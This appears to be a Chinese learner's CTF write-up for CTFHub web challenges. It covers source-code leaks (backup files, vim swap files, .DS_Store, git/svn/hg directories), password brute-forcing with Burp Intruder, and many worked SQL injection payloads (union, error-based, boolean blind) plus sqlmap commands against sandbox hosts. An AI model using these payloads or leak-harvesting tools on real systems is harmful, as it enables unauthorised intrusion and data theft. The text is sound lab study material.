
顺带一提因为我是-e *全搜,导致我 30 分钟都不够,好在提前扫出来了 😅

13.png

不过没想到仅仅是后加了个 bak😡,早知道就试试了

url 加上 index.php.bak 会自动下载一个文件,用记事本打开就行

13.png

3.vim 缓存

当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当 vim 异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

此题目需要用到 Linux 和 vim,这个没有的话需要自己去安装虚拟机

做这题需要前置知识

  • 当 vim 在编辑文档的过程中如果异常退出,则会产生缓存文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn。

  • 使用命令 vim -r 可以查看当前目录下的所有 swp 文件。

  • 使用命令 vim -r filename 可以恢复文件,这样上次意外退出并且没有保存的修改,就可以覆盖文件。

  • 调用这类的隐藏文件的时候,需要在最前面加.(如删除 index.php.swp,则需要 rm -fr* .index.php.swp).

  • vim 使用的缓存存储是一种固定的二进制文件,我们可以通过 curl 命令,或者 vim 命令进行查看。

所以我们自需要在路径上加上/index.php.swp,就会自动下载文件了,主要是用 vim 打开,在文件所在路径使用命令

1
vim -r index.php.swp

14.png

4. .DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store 可以知道这个目录里面所有文件的清单。

老样子先加路径(终于对了一次),虽然出现 404 但是文件下载下来了

15.png

用记事本打开,发现一串神秘数字(注意这个由于一行太长有一段字母在右边出题人的恶趣味 😅

16.png

17.png

然后就是在 url 后面添加一个一个输入除了最后的 noteustr,输到 txt 就行,而且注意不能有空格

最后就会得到 flag

18.png

4.Git 泄露

有关 git 知识大伙请自行上网搜索,这里不再赘述

1.Log

当前大量开发人员使用 git 进行版本控制,对站点自动部署。如果配置不当,可能会将.git 文件夹直接部署到线上环境。这就引起了 git 泄露漏洞。请尝试使用 BugScanTeam 的 GitHack 完成本题

其实主要就是要使用 GitHack,先进入 GitHack 文件夹,命令很简单

1
python GitHack.py URL/.git

注意 URL 是自己的网站 URL,然后就是得用 python2

然后就会在 dist 文件夹得到文件

用指令

1
ls -a

可以看到.git 文件

然后用 git 命令看版本有一个是“add flag”

1
2
git reflog # 显示每次git的版本
git reset --hard hash # 跳转到指定版本,hash就是git reflog出现的黄子

19.png

跳转后就会出现 flag 文件

20.png

2.Stash

关于 Stash

简单来说就是其将当前未提交的修改(即,工作区的修改和暂存区的修改)先暂时储藏起来

1
2
3
4
5
#简单命令

git stash list # 查看储藏记录列表
git stash show -p #用于显示第一个存储的改动
git stash show stash@{$num} -p #显示其他存存储,命令:比如第二个:git stash show stash@{1} -p

这题和上面一题开头不走一致

只是打开 flag 文件并没有看到 flag屁话题目都告诉是 stash

现在就使用git stash list 用于查看 stash 了哪些存储,先输入康康:

21.png

再用git stash show -p查看 stash 就行

22.png

3.Index

这题没有发现和第一题有什么不同。。。

23.png

5.SVN 泄露

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn 文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

svn 和 git 差不多,这里不再过多赘述介绍

其实和 git 一样都有专门的漏洞脚本

在 devs-ripper 文件下使用命令,脚本运行成功后会出现.svn 文件,进入文件,一个一个找就行了

1
./rip-svn.pl -u URL/.svn

25.png

cat 命令可以看文件内容

24.png

6.HG 泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

hg 和 svn 和 git 差不多,这里不再过多赘述介绍

同样使用 devs-ripper 就行了,命令稍微改一下

1
./rip-hg.pl -v -u URL/.hg/

26.png

老样子一个一个搜,突然发现一个熟悉的 flag 文件,把它加到网站后缀就自动出现 flag 了

27.png

2.密码口令

1.弱口令

通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

这里还是得用burp的Intruder进行爆破密码

随便输入用户名密码(一般用户名都是admin)

1

最下面一行就是我刚才输入的name和password(referer是那个记住密码不用管),发送给Intruder模块

注意我们这里只对密码部分进行了攻击,所以先点击右边的clear后对密码部分进行add

2

添加字典,然后攻击

3

点击length进行排序(一般就是长度最长或最短的密码)

5

可以发送给repeater部分点击send看源码或者直接将找的的密码输入就可以看到flag

5

6

2.默认口令

默认口令,就是公司内部一些人员为了方便而设计的默认用户名和密码,那么我只要用这些直接登录就可以了。

这个只需要上网百度自己去找就行了

9

这里我就给出结果以及我搜到的大佬整理的默认口令

10

常见安全产品系统默认口令

大佬把文件放在github,我们直接git clone

1
git clone git@github.com:NepoloHebo/Common-device-default-password.git

7

3.SQL 注入

SQL注入分类:

  • 回显正常—> 联合查询 union select
  • 回显报错—> Duplicate entry()
    extractvalue()
       updatexml()
  • 盲注 —>布尔型盲注
    基于时间的盲注sleep()

首先声明一下,本人只听过注入的鼎鼎大名,实操肯定不行,因此我都是辅大佬的write up写的,但是我认为正因为我的基础是0,我会在一些细微(大佬默认我会但我不会)的地方加上自己的理解(大多会写在下面的知识基础里面),如果你有自己的理解,欢迎交流

以下是我看过的writeup(放在后面怕看不到)

CTFHUB-SQL注入_ctfhub sql注入-CSDN博客

CTFHub 整数型SQL注入 - ZM思 - 博客园 (cnblogs.com)

CTFHub技能树 Web-SQL注入 详解_ctfhub web sql注入-CSDN博客

Ctfhub解题 web SQL注入(全部完整版)-CSDN博客

ctfhub_web_SQL注入_全通关详解(持续更新中) - FreeBuf网络安全行业门户

CTFHub——技能树——SQL注入(sqlmap)_ctfhub sqlmap-CSDN博客

手撕CTFHub-Web(四):SQL注入 - 知乎 (zhihu.com)

关于SQL中group by主键重复报错注入 适用版本问题的探讨_strem groupby 报主键重复-CSDN博客

CTFHUB——SQL 报错注入三种方法全解_ctfhub报错注入-CSDN博客

CTFHub 字符型SQL注入_ctfhub字符型注入-CSDN博客

CTFHub题解-技能树-Web-SQL注入(整数型、字符型、报错注入、布尔盲注)【一】 - 0yst3r - 博客园 (cnblogs.com)

CTFHUB-SQL注入_ctfhub sql注入-CSDN博客

CTFHub 整数型SQL注入 - ZM思 - 博客园 (cnblogs.com)

CTF之旅(CTFHub技能树+详细Write up+持续更新ing)(SQL注入)-CSDN博客

知识基础
0.bug工具sqlmap

sqlmap基础入门超详细教程

小白最喜欢的一集🤣,直接利用这个渗透测试工具可完成注入(当然明白原理更好)

指令参数的含义我上面的工具里面全写了,下面我看情况会重复提心一下

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入

1.介绍SQL注入

SQL注入就是指WEB应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来是实现对数据库的任意操作。

一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,他根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态的SQL语句会非常有用。

下面以PHP语句为例。

1
$query = "SELECT * FROM user WHERE id = $_GET['id']";

由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。

2.SQL注入的原理

SQL注入漏洞的产生需要满足以下两个条件。
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为1’时,数据库执行的代码如下所示。

1
select * from users where id = 1'

这不符合数据库的语法规范(单引号数量为奇数,不闭环),所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。

1
select * from users where id=1 and 1=1

因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。

在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉承"外部参数皆不可信的原则"进行开发。

3.information_schema

MYSQL5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA表存储该用户创建的所有数据库名的库名。

1

TABLES表存储该用户创建的所有的数据库的库名和表名,库名为:TABLES_SCHEMA,表名为:TABLE_NAME,字段名为:COLUMN_NAME.

4.MySQL查询语句

在不知道任何条件时,语句如下所示。

1
select 查询的字段名 from 库名.表名

在知道一条已知条件时,语句如下所示。

1
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
5.limit的用法

limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。

例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果

2

6.注释符

在MySQL中,常见注释符的表达方式:#或--空格或/**/

7.内联注释

内联注释的形式:

1
/*!code*/

内联注释可以用于整个sql语句中,用来执行SQL语句

1
-1 /*!union*/ /*!select*/ 1,2,3
8.需要记住的函数

database() 当前网站使用的数据库
version() 当前MySQL的版本
user() 当前MySQL的用户

9.order by

正常的作用是让一列的数据按一定规则排序(递增,递减)

order by 列名(列名可以为select语句中列的序号,name,age——->1,2),因此数字从大往小猜,如果超出它的列数,则报错;如果恰好等于列数,显示$name=1的结果。

$name=1’ order by 3 – ',sql语句为:select * from news where id=‘1’ order by 3 – ‘’,超过它的列数,报错。继续往小猜。猜到2时可以正常显示,因此字段数量为2

1
2
3
#如果能正常返回结果意思是按第2列的样子排序,即至少有2列
#反之如果错误即只有1列
select * from news where id=1 order by 2
10.union

它能够将两个或多个 SELECT 查询的结果合并在一起,并返回一个单一的结果集。具体来说,UNION会去除重复的数据,只返回唯一的行。

使用 union select 语句来执行自定义的 SQL 查询,从而绕过应用程序的验证机制,并获取到敏感信息。

其实就是使用union联合查询检测信息回显位置,利用信息回显位置进行注入攻击

1
2
3
select * from news where id = -1 union select 1, 2
#因为如果news 表中的 id 列是整数类型,那么 id = -1 应该返回空结果集,因为不存在 id 为负数的记录。
#如果 union select 1, 2 能够返回数据,那么这意味着应用程序没有正确处理或过滤用户输入,从而允许攻击者执行自定义的 SQL 查询。

注意!!!

Remember that when using an UNION each SELECT statement within UNION must have the same number of columns.

请记住,在使用UNION时,UNION中的每个SELECT语句必须具有相同数量的列。

比如说

1
2
select * from news where id = 1 union select 1, 2
# 前一个查询结果会返回两列,后面也需要两个值作为列名
11.concat

CONCAT 是一个 SQL 函数,用于将多个字符串值连接成一个字符串。它通常用于将多个列或字符串值连接起来,以产生一个完整的字符串。

CONCAT 函数的基本语法如下:

1
CONCAT(string1, string2, ..., stringN)

其中,string1string2 等是你要连接的字符串或列名。

例如,假设你有一个名为 employees 的表,其中包含 first_namelast_name 两个列,你可以使用以下查询来连接这两个列:

1
SELECT CONCAT(first_name, ' ', last_name) AS full_name FROM employees;

这将返回一个名为 full_name 的新列,其中包含 first_namelast_name 列中的值,用空格分隔。

12.group_concat

GROUP_CONCAT 主要用于将多个行的值连接成一个字符串。这个函数通常与 GROUP BY 子句一起使用,以便将分组后的值连接在一起。

假设有一个表

1
2
3
4
5
6
7
+----+---------+  
| id | name |
+----+---------+
| 1 | Alice |
| 2 | Bob |
| 3 | Charlie |
+----+---------+

如果你想获取所有学生的名字,并用逗号分隔,你可以使用以下查询:

1
2
SELECT GROUP_CONCAT(name SEPARATOR ', ') AS student_names  
FROM students;

使用 GROUP_CONCAT 时,确保在连接的值中没有特殊字符或保留字,否则可能会导致错误或不预期的结果。

1.整数型注入

根据我看了多达十多篇的writeup,还是有不同的地方比如指令不通,工具不通,我来总结一下答案,虽然思想大差不差,但对我来说还是开拓了思路

1.手工注入

1.判断是否存在注入

虽然题目已经说了整数型注入

1)加单引号

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

2)加and 1=1

对应的sql:select * from table where id=3 and 1=1 语句执行正常,与原始页面如任何差异;

3)加and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

即说明存在

2.查询字段数量

当id=1 order by 2时,页面返回与id=1相同的结果;而id=1 order by 3时没有显示,故字段数量是2。

1

2

3.利用回显信息SQL语句插入位置

此时要先保证之前的数据查不出来,id=-1数据不存在数据库中,之后再union 。可以看到存在两个注入点(可以看到回显信息,即注入点)。利用注入点进行爆库。

3

4.获取数据库库名

两种办法

a.在注入点换成函数database()

1
-1 union select 1,database()

4

b.利用group_concat直接获取全部

1
-1 union select 1,group_concat(schema_name)from information_schema.schemata

5

爆库成功,知道库名为:sqli,爆表

5.获取数据库表名

两种办法

a.利用limit一个一个查,第一条limit 0,1;没找到就换成limit 1,1;以此类推

1
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)

6

7

b.利用group_concat直接获取全部

1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

8

知道表名为:newsflag,爆字段名

6.获取字段名

两种办法

a.利用limit一个一个查,第一条limit 0,1;没找到就换成limit 1,1;以此类推

1
-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

9

b.利用group_concat直接获取全部

1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

10

知道字段名为flag,使用flag这个字段名,爆字段内容

7.获取数据

两种办法

a.利用limit一个一个查,第一条limit 0,1;没找到就换成limit 1,1;以此类推

1
-1 union select 1,(select flag from sqli.flag limit 0,1)

11

b.利用group_concat直接获取全部

1
-1 union select 1,group_concat(flag) from sqli.flag

12

注入成功,得到flag

2.利用工具HackBar

其实过程大差不差,主要是为了熟悉这个插件

1.老样子先判断是那种注入方式

2.利用order by看有多少列

13

3.利用union寻找注入点

14

4.通过注入点寻找库名

1
?id = -1 union select 1,database()

15

5.通过库名爆表

1
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

16

6.通过表爆字段

1
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

17

7.通过字段爆数据

1
?id=-1 union select 1,group_concat(flag) from sqli.flag

18

3.sqlmap

1.sqlmap爆当前数据库信息

1
2
3
# ?id=1 的作用是提供一个“入口点”或“注入点”供 sqlmap 进行测试。sqlmap 会尝试在 id 参数中插入特殊的 SQL 代码,以探测是否存在 SQL 注入漏洞。如果目标网站没有正确地处理或过滤用户输入,那么 sqlmap 可能就能成功地执行恶意的 SQL 代码,并获取数据库的敏感信息。
#--current-db 参数的作用是获取当前数据库的名称
python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" --current-db

19

用sqlmap爆出库名:sqli

2.sqlmap.列出指定数据库所有的表名

1
2
3
#-D 或 --db-name: 这是要获取的数据库名称。
#--tables: 这个参数是用来列出目标数据库中的所有表。
python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables

20

用sqlmap爆出表名:flag,news

3.查指定表的列数据

1
2
3
4
#-T 或 --table:这个参数后面通常会跟表名,用来指定在数据库中找到的特定表。
#--columns:这个参数后面通常会跟列名,用来指定在找到的表中列出的特定列。如果没有指定列名,那么这个参数会列出整个表的列。

python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --columns

4.查指定列的值

21

2.字符型注入

字符型注入要考虑到 引号闭合 注释

1.手工注入

没什么好说的,步骤和上面差不多,我就不贴图了

1.判断列数

1
1' order by 2#

2.判断注入点

1
-1' union select 1,2#

3.爆库

1
-1' union select 1,database()#

4.爆表

1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

5.爆字段名

1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

6.爆数据

1
-1' union select 1,(select flag from flag)#
2.sqlmap

没什么好说的,步骤一样,因为ctfhub上flag都藏在一个位置,我这里省事直接找flag

因为已经知道的数据库名,表名,字段名,所以我这里直接搜就行了,如果想要一条一条看,在整数型注入的sqlmap有详细解释

1
python sqlmap.py -u "http://challenge-edf7e3fef5ffee34.sandbox.ctfhub.com:10080/?id=-1" -D sqli  -T flag  -C flag --dump
3.报错注入

什么是报错注入

报错注入是一种SQL注入类型,用于使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。返回的错误信息即是攻击者需要的信息。所以当我们没有回显位时可以考虑报错注入这种方法来进行渗透测试。

通过我看过多篇博客后,发现大多是是使用三种报错注入方式,分别是:floor()、updatexml()、extractvalue()。

extractvalue和updatexml函数形成的xpath报错,这算两种。还有一种就是floor实现的group by主键重复,这算另外一种。

如果想要看十种请移步十种MySQL报错注入

这里我介绍extractvalue和updatexml函数,floor(),harkbur以及sqlmap

注入前提

(1) Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上

(2)后台未对一些具有报错功能的函数进行过滤 常用的报错功能函数包括extractvalue()、updatexml)、floor()、exp()等

extractvalue和updatexml函数报错原理

xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:‘xxxxxxxx’。
该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示

1.extractvalue

值得注意的是适用的版本:5.1.5+

函数基本格式:

1
ExtractValue(xml_frag, xpath_expr)

可以看到函数里面的参数,简单分析一下,xml_frag参数就是为了上传一个xml文档,xpath_expr参数就是用xpath路径法查找路径,而extractvalue报错注入 就是通过在函数中写如不符合语法格式的xpath达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容;比如我们要查找数据库版本,构造格式如下:

1
2
3
4
5
# 有的地方会用0x7e或其他16进制数,这是经过url编码后的,0x7e=~,作用有两个
#一是改不符合语法格式的xpath达到报错的目的
#而是为了方便我们判别version在哪(version在~符号后面)
# ''~'可以换成’#’、’$'等不满足xpath格式的字符
?id=1 and (extractvalue(1,concat('~',(select version()))))

了解extractvalue就是经典连招q(≧▽≦q)

1.爆库名

1
1 and (select extractvalue(1, concat(0x7e, (select database()))))

2.爆表名

1
2
1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

3.爆字段名

1
2
1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))

4.爆数据

1
1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))

但是得到的flag是不完整的。这个函数的返回值最多只有32个字符。这里和最终的flag少了一个右大括号。

以后遇到这种问题再用一下right()获取右边的值即可。

1
1 and (select extractvalue(1,concat('~',(select group_concat(right(flag,30)) from flag))))

2.updatexml

与extractvalue函数利用方式差不多,原理大致一致,基本格式如下:

1
UpdateXML(xml_target, xpath_expr, new_xml)

分别分析里面的参数:

xml - taeget:需要操作的xml片段,是string格式,为xml文档对象的名称
xpath -expr:需要更新的路径;
xml -xml:更新后的的xml字段,string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

假设我们用这个函数查找数据库名称,可以这样构造PAYLOAD:

1
?id=' and (updatexml('anything',concat('~',(select database())),'anything'))

因为原理和extractvalue函数利用方式差不多

如果路径正确没有反应

这里直接开始

1.爆库

1
-1 union select updatexml(1, concat(0x7e, database()),1)

2.爆表

1
-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema="sqli")),1)

3.爆字段名

1
-1 union select updatexml(1, concat(0x7e,( select( group_concat(column_name))from information_schema.columns where table_schema='sqli' and table_name='flag')),1)

4.爆数据

1
-1 union select updatexml(1, concat(0x7e,( select( group_concat(flag)) from sqli.flag)),1)

但是得到的flag是不完整的。这个函数的返回值最多只有32个字符。这里和最终的flag少了一个右大括号。

以后遇到这种问题再用一下right()获取右边的值即可。

1
-1 union select updatexml(1, concat(0x7e,( select( group_concat(right(flag,30))) from sqli.flag)),1)
3.floor

这种方式可以实现报错的原因是:虚拟表的主键重复

floor函数与上面两个的利用方法就不是那么一样了,在了解这个函数之前先看一些会用到的函数。

floor()函数:返回小于等于该值的最大整数,即向下取整,只保留整数部分

rand()函数: 产生一个伪随机的序列,执行函数,随机产生一个0~1之间的数值。

count()函数: 返回指定列的数目。

COUNT(*)计算所有行,而COUNT(column_name)计算特定列中的非NULL值数量

group by()函数: 结合合计函数,根据一个或多个列对结果集进行分组。

值得注意的是5.6版本是可以用group by重复的这个报错注入,但是mysql即8.x已经不适用,其他版本不确定

本人对数据库并不是了解很深,仅仅知识了解curd的基本指令,因此这里我还是华丽一段时间理解原理

这位博主关于这块写的很好SQL注入实战之报错注入篇

首先是建一张表助于理解

1
2
3
4
5
6
7
8
9
create database test1;
use test1;

create table czs(id int unsigned not null primary key auto_increment, name varchar(15) not null);

insert into czs(id,name) values(1,'chenzishuo');
insert into czs(id,name) values(2,'zhangsan');
insert into czs(id,name) values(3,'lisi');
insert into czs(id,name) values(4,'wangwu');

1.rand()可以产生一个在0和1之间的随机数

可以看出,直接使用rand函数每次产生的数值不一样,但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,这也可以称之为伪随机。

2.floor (rand(0)2)函数
floor函数的作用就是返回小于等于括号内该值的最大整数。
rand()本身是返回0~1的随机数,但在后面
2就变成了返回0~2之间的随机数。
配合上floor函数就可以产生确定的两个数,即0和1。
并且结合固定的随机数种子0,它每次产生的随机数列都是相同的值。
此处的myclass 表为含有四行数据的表。
结合上述的函数,每次产生的随机数列都是 0 1 1 0

3.group by 函数
group by 函数,作用就是分类汇总。
等一下再说group by,我们首先看一下我的表。

再在id 和 name后分别放入a x,意思就是id显示为a name显示为x。

然后使用group by 函数进行分组,并且按照x(name)进行排序。

友情提示:在使用group by 函数进行分类时,会因为mysql版本问题而产生问题,主要是启用了ONLY_FULL_GROUP_BY SQL模式(默认情况下),MySQL将拒绝选择列表,HAVING条件或ORDER BY列表的查询引用在GROUP BY子句中既未命名的非集合列,也不在功能上依赖于它们。(或者自行百度解决)

4.count(*)函数
COUNT(*)计算所有行,而COUNT(column_name)计算特定列中的非NULL值数量

这就是对重复的数据进行整合计数,x就是每个name的数量,我这里每个只有一个当然count(*)都为1了。

5.综合使用

比如说 select count(*), floor(rand(0)*2) from czs,4是一共4行,0是因为rand(0)*2

select count(\*),floor(rand(0)*2) x from czs group by x;
当count(*)和group by x同时执行时,就会爆出duplicate entry错误。

根据前面的函数,这句话是统计后面的floor(rand(0)*2)from czs产生的随机数种类并计算数量,0110,应该是两个两个,但是最后却报错了。

报错原因解析

通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。

group by 语句报错的原因是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算rand 值)

如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,如果是1,那么主键将会重复就会导致插入时冲突而报错。

即检测时和插入时两次计算了随机数的值实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行时是不报错的。

1.爆库

1
2
# 用~把rand(0)*2和database()相隔
1 union select count(*),concat(floor(rand(0)*2),'~',database()) x from information_schema.schemata group by x

2.爆表

1
1 union select count(*),concat(floor(rand(0)*2),'~’,(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1)) x from information_schema.schemata group by x

1
1 union select count(*),concat(floor(rand(0)*2),'~',(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 1,1)) x from information_schema.schemata group by x

3.爆字段名

1
1 union select count(*),concat(floor(rand(0)*2),'~',(select concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)) x from information_schema.schemata group by x

4.爆数据

1
1 union select count(*),concat(floor(rand(0)*2),'~',(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x

4.sqlmap

没什么好说的,步骤一样,因为ctfhub上flag都藏在一个位置,我这里省事直接找flag

因为已经知道的数据库名,表名,字段名,所以我这里直接搜就行了,如果想要一条一条看,在整数型注入的sqlmap有详细解释

1
python sqlmap.py -u "http://challenge-edf7e3fef5ffee34.sandbox.ctfhub.com:10080/?id=-1" -D sqli  -T flag  -C flag --dump
疑惑

1.上面的id=-1 union select … 和 id = 1 and (select…)和id=1 union select都可以

我只知道,union是返回结果集,and是逻辑符,需要两边同时满足,而且记得加括号

但是还是有点想不通

2.不知道为什么有的时候sql语句中不需要对需要查的位置条件限定的很死,比如说在爆字段的时候只需要给出条件在flag表里不需要再sqli库里,查找数据的时候仅需要限定条件在对于的表和字段就行(有大佬知道可以请教一下吗😥)

4.布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

  • ascii(str) 函数,返回字符ascii码值
    参数 : str单字符
  • length(str) 函数,返回字符串的长度
    参数 : str 字符串
  • left(str, length) 函数,返回从左至右截取固定长度的字符串
    参数str,length
    str : 字符串
    length:截取长度
  • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
    参数,str,pos,length
    str: 字符串
    pos:开始位置
    length: 截取长度
1.手工注入

注入流程

  1. 求当前数据库长度
  2. 求当前数据库表的ASCII
  3. 求当前数据库中表的个数
  4. 求当前数据库中其中一个表名的长度
  5. 求当前数据库中其中一个表名的ASCII
  6. 求列名的数量
  7. 求列名的长度
  8. 求列名的ASCII
  9. 求字段的数量
  10. 求字段内容的长度
  11. 求字段内容对应的ASCII

SQL语句

  • 求当前数据库的长度

    思路:利用length或者substr函数来完成

length函数

参数 描述
str 返回字符串的长度

substr函数

参数 描述
str 字符串
pos 截取字符串开始位置

length函数原理

1
2
3
4
5
6
# length 返回长度
# 8是当前数据库'security'的长度
SELECT * from users WHERE id = 1 and (length(database())=8)
# 也可以使用 > 、< 符号来进一步缩小范围
SELECT * from users WHERE id = 1 and (length(database())>8)
# 当长度正确就页面就显示正常,其余页面则显示错误

substr函数原理

在构造SQL语句之时,and后面如果跟着一个大于0的数,那么SQL语句正确执行,所以利用此特性,使用substr截取字符,当截取的字符不存在,再通过ascii函数处理之后将会变成false,页面将回显错误

1
2
3
4
5
# substr 返回子字符串
# 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r'
# 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false
# and 后只要不为 0, 页面都会返回正常
SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1))
  • 求当前数据库名

    思路:

    利用left 函数,从左至右截取字符串

    截取字符判断字符的ascii码,从而确定字符

    1
    2
    3
    4
    5
    # 从左至右截取一个字符
    SELECT * from users WHERE id = 1 and (left(database(),1)='s')
    # 从左只有截取两个字符
    SELECT * from users WHERE id = 1 and (left(database(),2)='se')
    使用>,< 符号来比较查找,找到一个范围,最后再确定
  • 求当前数据库存在的表的数量

    1
    2
    SELECT * from users WHERE id = 1 AND 
    (select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4
  • 求当前数据库表的表名长度

    1
    2
    3
    4
    5
    6
    #length

    SELECT * from users WHERE id = 1
    AND (LENGTH(
    (select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1)
    )) = 6
    1
    2
    3
    4
    5
    6
    # substr

    SELECT * from users WHERE id = 1
    AND ASCII(SUBSTR(
    (select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
    6,1))
  • 求表名

    1
    2
    3
    4
    5
    6
    7
    8
    SELECT * from users WHERE id = 1 
    AND ASCII(SUBSTR(
    (select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
    1,1)) = 101 # e
    SELECT * from users WHERE id = 1
    AND ASCII(SUBSTR(
    (select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
    2,1)) = 109 # m
  • 求指定表中列的数量

    1
    2
    SELECT * from users WHERE id = 1 
    AND (select count(column_name) from information_schema.columns where table_name = "users") = 3
  • 求指定表中列的长度

    1
    2
    3
    4
    SELECT * from users WHERE id = 1 
    AND ASCII(SUBSTR(
    (select column_name from information_schema.columns where table_name = "users" limit 0,1),
    2,1))
  • 求指定表中的列名

    1
    2
    3
    4
    SELECT * from users WHERE id = 1 
    AND ASCII(SUBSTR(
    (select column_name from information_schema.columns where table_name = "users" limit 0,1),
    1,1)) = 105
  • 求指定表中某字段的数量

    1
    SELECT * from users WHERE id = 1 AND (select count(username) from users) = 13
  • 求字段长度

    1
    SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select username from users  limit 0,1),4,1))
  • 求字段名

    1
    SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users  limit 0,1),1,1))  = 68
  • 假设查询查询 user 这个字段的数据

    1
    2
    #猜解 dvwa.users 表下的 user 列的第一个字段内容为:a
    1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #
2.脚本解题

正如上面的代码所示,都是重复的代码,所以直接写个脚本就完事了(我自己看网上的脚本大多是暴力的,因为我有一定算法基础,因此手撸个二分加速的水平还是不行,debug害我用开了四次环境用了200币(T_T)

但是觉得发现还没有别人暴力跑出来的快(T_T)(主要是因为查询的更清楚)因为要解的是这题,所以就不贴我的代码的

记得改url

1
2
3
4
